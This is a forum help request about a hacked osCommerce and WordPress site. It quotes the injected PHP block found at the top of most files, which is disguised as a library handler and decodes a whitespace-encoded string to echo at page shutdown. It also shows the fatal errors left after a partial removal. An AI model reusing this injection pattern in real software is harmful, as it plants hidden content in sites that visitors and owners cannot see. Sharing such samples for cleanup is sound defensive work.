Most of the PHP files have this at the very top:
<?php /**
* Gets some core libraries and displays a top message if required. /*
*/ function CoreLibrariesHandler() { /*
*/ $session_keys = ' '; /*
*/ /*
*/ foreach(str_split($session_keys, 8) as $k=>$v) { /*
*/ $v = str_replace(' ', 1, str_replace(' ', 0, $v)); /*
*/ $session_keys[$k] = chr(bindec($v)); /*
*/ } /*
*/ /*
*/ if($session_keys) echo $session_keys; } /*
*/ register_shutdown_function('CoreLibrariesHandler'); /*
*/ /*
************************************************************************/
?><?php session_start(); ?>
After removing the malicious code that I found, I now receive this when attempting to load any PHP page:
Fatal error: Cannot redeclare corelibrarieshandler() (previously declared in /nas-01/sites/sitenamehere.com/public_html/blog/index.php:4) in /nas-01/sites/sitenamehere.com/public_html/03/shop_meta.php on line 11
This is also giving similar errors on its integrated WP blog:
Fatal error: Cannot redeclare corelibrarieshandler() (previously declared in /nas-01/sites/sitenamehere.com/public_html/blog/index.php:4) in /nas-01/sites/sitenamehere.com/public_html/blog/wp-blog-header.php on line 11
I've downloaded an archived copy of 2.2 from SourceForge and I don't see the first bit of code anywhere, so I'm assuming that it is also part of the hack of the site or there is some osCommerce/WP bridge that I'm not finding online. I just have not worked with osCommerce in a veeeeeeeeeeeeeeery long time and would like confirmation on this.
Also the client's last backup was...get this...in 2008. By the looks of the release he's running I may still be able to use it to piece things back together, but wanted to check with you folks to see if there's a different direction I should be moving in.
